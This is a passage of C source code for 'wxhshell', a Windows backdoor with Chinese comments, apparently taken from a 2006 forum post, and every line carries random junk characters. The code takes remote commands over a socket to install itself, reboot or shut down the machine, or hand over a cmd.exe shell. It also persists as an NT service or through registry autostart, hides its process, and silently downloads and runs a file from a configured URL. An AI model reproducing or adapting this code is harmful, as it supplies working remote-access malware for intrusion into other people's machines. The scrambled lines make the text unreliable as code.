  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JK4  @  
  } h 8s*FI  
  else { u2QJDLMJv  
h%%'{^>~  
    switch(cmd[0]) { D#0}/  
  xX ZN<<f59  
  // 帮助 X*KT=q^?n  
  case '?': { |4vk@0L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }_ E  
    break; ]7;;uhn`  
  } ']Z8C)tK  
  // 安装 xpz Jt2S  
  case 'i': { dkjL;1  
    if(Install()) Jp- hFD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Z8!iruN  
    else \B)<<[ $  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wr`eBPu  
    break; v|6fqG+Q\  
    } y@I"Hk<T  
  // 卸载 pN[i%\vh  
  case 'r': { VMp6s%m  
    if(Uninstall()) +Ji dP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *L=CJg  
    else ''G @n*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^s5)FdF8  
    break; 2;/hFwm  
    } 4y 'REC  
  // 显示 wxhshell 所在路径 ":OXs9Yg  
  case 'p': { 5zU$_M  
    char svExeFile[MAX_PATH]; 9V~yK?  
    strcpy(svExeFile,"\n\r"); -UO$$)Q  
      strcat(svExeFile,ExeFile); o&=m]hKpQl  
        send(wsh,svExeFile,strlen(svExeFile),0); P+[R0QS  
    break; 8MIHp[vm%  
    } Ne%X:h  
  // 重启 T~la,>p|}  
  case 'b': { c}A^0,"z>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AOpfByw  
    if(Boot(REBOOT)) fOfp.`n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YpJzRm{Ra  
    else { Hogr#Sn2  
    closesocket(wsh); |c) #zSv  
    ExitThread(0); Y3?kj@T`i  
    } %Xn)$Ti ~<  
    break; N}\i!YUD  
    } NJ.kT uk  
  // 关机 =$MV3]  
  case 'd': { nN[,$`JD,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [yz;OoA:;  
    if(Boot(SHUTDOWN)) m9/a!|fBE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ctf'/IZ5  
    else { - 0zo>[c/p  
    closesocket(wsh); $/Mk.(3'P  
    ExitThread(0); ~34$D],D  
    } QeGU]WU{  
    break; g& {YHq^+  
    } {z w#My   
  // 获取shell gCmGFQE-f  
  case 's': { V5=Injs *  
    CmdShell(wsh); \-^3Pe,  
    closesocket(wsh); OA+W$  
    ExitThread(0); d/e9LK  
    break; 7{6wNc  
  } fy-( B;  
  // 退出 4WLB,<b}  
  case 'x': { + EM '-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jk~< si  
    CloseIt(wsh); Q9( eH2=  
    break; sviGS&J9h  
    } _$r+*nGDz  
  // 离开 d< y B ~Y  
  case 'q': { fSj^/>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f.!cR3XgV  
    closesocket(wsh); ~`y6YIJ3  
    WSACleanup(); B|!Re4`0  
    exit(1); d6u L;eR  
    break; )pg?ZM9  
        } lm$T`:c  
  } wDn5|F}i&  
  } {L#Pdj{  
L;Nm"[ `  
  // 提示信息 C3|M\[*fp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x k#/J]j  
} kc}e},k  
  } T7[ItLZ  
4]Krx m`8  
  return; $N~8 ^6  
} )F:hv[iv  
GZse8ng  
// shell模块句柄 X"yLo8y8$  
int CmdShell(SOCKET sock) dD=dPi#  
{ )AnX[:y  
STARTUPINFO si; F*QGzbv)  
ZeroMemory(&si,sizeof(si)); Y #KgaZ7N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i),W1<A1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; < d?O#(  
PROCESS_INFORMATION ProcessInfo; UtzW5{  
char cmdline[]="cmd"; }z}oVc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v=!]t=P)t  
  return 0;  0N md*r  
} K?) &8S  
@X|CubJ  
// 自身启动模式  E;k'bz  
int StartFromService(void) %|UCs8EFm  
{ leiP/D6s  
typedef struct < }G7#xg  
{ L.>`;`dmY  
  DWORD ExitStatus; ZZ#S\*  
  DWORD PebBaseAddress; 0Y{A  
  DWORD AffinityMask; yKi* 8N"e<  
  DWORD BasePriority; ^dQ#\uy  
  ULONG UniqueProcessId; $cnIsyKWY  
  ULONG InheritedFromUniqueProcessId; m+zzhv1  
}   PROCESS_BASIC_INFORMATION; EiSS_Lc  
G>"w$Us  
PROCNTQSIP NtQueryInformationProcess; *U8Pjb1  
(,[Oy6o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -Zkl\A$>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G >bQlZG  
c{z QX0  
  HANDLE             hProcess; >a[)F  
  PROCESS_BASIC_INFORMATION pbi; q'[5h>Pa  
4&}LYSZl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2}K7(y!?u  
  if(NULL == hInst ) return 0; 0X.pI1jCO  
Yz4Q!tL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S-*4HV_l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tAefBFu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6Z0@4_Y@B6  
ml\A)8O]j/  
  if (!NtQueryInformationProcess) return 0; $0 eyp]XC\  
3V2 "1Ic  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (]1n!  
  if(!hProcess) return 0;  LGV"WE  
\IIR2Xf,K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I!~5.  
'`I&g8I\  
  CloseHandle(hProcess); x8w455  
6|L<? X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >2TDYB|;  
if(hProcess==NULL) return 0; DR;rK[f  
NZ7g}+GTG  
HMODULE hMod; O$+0 .  
char procName[255]; O)n"a\LD  
unsigned long cbNeeded; vdV@G`)HPr  
gh#9<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xx_]e4  
WL:CBE#  
  CloseHandle(hProcess); pO[ @2tF  
'(r/@%=U  
if(strstr(procName,"services")) return 1; // 以服务启动 !K'j[cA^  
1TJ2HO=Y  
  return 0; // 注册表启动 vWc=^tT   
} . _Bejh  
1^jGSB.%A  
// 主模块 q#$Al  
int StartWxhshell(LPSTR lpCmdLine) 07`hQn)Gc  
{ x\T 9V~8a  
  SOCKET wsl; Cz` !j  
BOOL val=TRUE; ]c4?-Vq%u  
  int port=0; h\k@7wgu  
  struct sockaddr_in door; B&3oo   
@z[,w`  
  if(wscfg.ws_autoins) Install(); MOi.bHCQJP  
cks53/Z  
port=atoi(lpCmdLine); 5[suwaJQ  
>MwjUq  
if(port<=0) port=wscfg.ws_port; >+ZBQ]~  
V C$,Y  
  WSADATA data; Q8OA{EUtq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PT4Wox9U  
d^p af  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~$cz`A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ws$<B b  
  door.sin_family = AF_INET; 7L)edR [  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Oh)s"f\N  
  door.sin_port = htons(port); (xxNQ] l-(  
R9bsl.e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T%zCAfx m  
closesocket(wsl); J)tk<&X  
return 1; O<}3\O )G(  
} ZFYv|2l  
0N9`WK  
  if(listen(wsl,2) == INVALID_SOCKET) { nE;^xMOK!  
closesocket(wsl); t+y$i@R:  
return 1; HGIPz{/5U  
} DO6Tz -%o  
  Wxhshell(wsl); !D#wSeJ  
  WSACleanup(); q=Xda0c  
4 JC*c  
return 0; PW7{,1te,  
RI.6.f1dy  
} }(tuBJ9  
nwSujD  
// 以NT服务方式启动 $$'a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nz_=]PHO&  
{ G4O $gg  
DWORD   status = 0; B6qM0QW  
  DWORD   specificError = 0xfffffff; dAg<BK/  
o\<m99Ub  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *WTmS2?'h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I!LSD i3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S=NP}4w,_)  
  serviceStatus.dwWin32ExitCode     = 0; kHMD5Q  
  serviceStatus.dwServiceSpecificExitCode = 0; N!me:|Dn  
  serviceStatus.dwCheckPoint       = 0; wwmHr!b:6  
  serviceStatus.dwWaitHint       = 0; uT1xvXfqP  
/1D]\k()  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }MU}-6  
  if (hServiceStatusHandle==0) return; B:5NIa  
j:k}6]p}  
status = GetLastError(); 5~8FZ-x  
  if (status!=NO_ERROR) F/8="dM  
{ +ftOJFkI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `eZ +Pf".  
    serviceStatus.dwCheckPoint       = 0; -!_\4  
    serviceStatus.dwWaitHint       = 0; MC\rx=cR\  
    serviceStatus.dwWin32ExitCode     = status; m 0jm$> :Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; F"I{_yleq'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -O&u;kh4g  
    return; [te9ui%JS  
  } R k'5L  
 F6'[8f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WxE^S ??|  
  serviceStatus.dwCheckPoint       = 0; VKGH+j[  
  serviceStatus.dwWaitHint       = 0; (g(.gN]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A8|DB@ Bi  
} 6>  L)  
r [NI#wW  
// 处理NT服务事件,比如:启动、停止 SK][UxoHm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wb)>APL  
{ c qWX*&2_  
switch(fdwControl) %KjvV<f-a  
{ +O]jklS4H  
case SERVICE_CONTROL_STOP: O8\>?4)  
  serviceStatus.dwWin32ExitCode = 0; }8lvi vR4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1&7~.S;km  
  serviceStatus.dwCheckPoint   = 0; E8gbm&x*  
  serviceStatus.dwWaitHint     = 0; uDe%M  
  { 0 oC5W?>8s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KCDbE6  
  } LA +BH_t&  
  return; 7A,QA5G ]C  
case SERVICE_CONTROL_PAUSE: n8K FP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U-]Rm}X\M  
  break; 9sQ #v-+Yx  
case SERVICE_CONTROL_CONTINUE: n PAl8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?@@BIg-  
  break; DA9-F  
case SERVICE_CONTROL_INTERROGATE: At t~N TL  
  break; QXaE2}}P  
}; th :I31  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); = n>aJ(=Pd  
} {.r jp`39  
@gc|Z]CV  
// 标准应用程序主函数 G d%X> ~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MJyz0.9c  
{ {?+dVLa^;  
- WEEnwZ  
// 获取操作系统版本 Q`0 k=<  
OsIsNt=GetOsVer(); __mnz``/Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .sqX>sU/]  
j]6c_r3  
  // 从命令行安装 Uo<iZ3J  
  if(strpbrk(lpCmdLine,"iI")) Install(); DQ08dP((v  
 0m&  
  // 下载执行文件 |Q|vCWel{  
if(wscfg.ws_downexe) { K|a^<| S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (>)f#t[9J  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7^hwRZJ{  
} ~#]$YoQ&O  
%C1*`"Jb&  
if(!OsIsNt) { ZH s' #  
// 如果时win9x,隐藏进程并且设置为注册表启动 <T^:`p/]4  
HideProc(); ,ve$bSp  
StartWxhshell(lpCmdLine); Zqp<8M2  
} [V2`t'  
else 8T]x4JQ0  
  if(StartFromService()) $~G=Hcl9  
  // 以服务方式启动 cUDo}Yu  
  StartServiceCtrlDispatcher(DispatchTable); rzk-_AFR  
else l)P~#G+C  
  // 普通方式启动 [t{ed)J  
  StartWxhshell(lpCmdLine); mI4)+8SUu  
r5s$#,O/&Q  
return 0; _v\L'`bif  
}
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只看该作者 1 发表于: 2006-10-10
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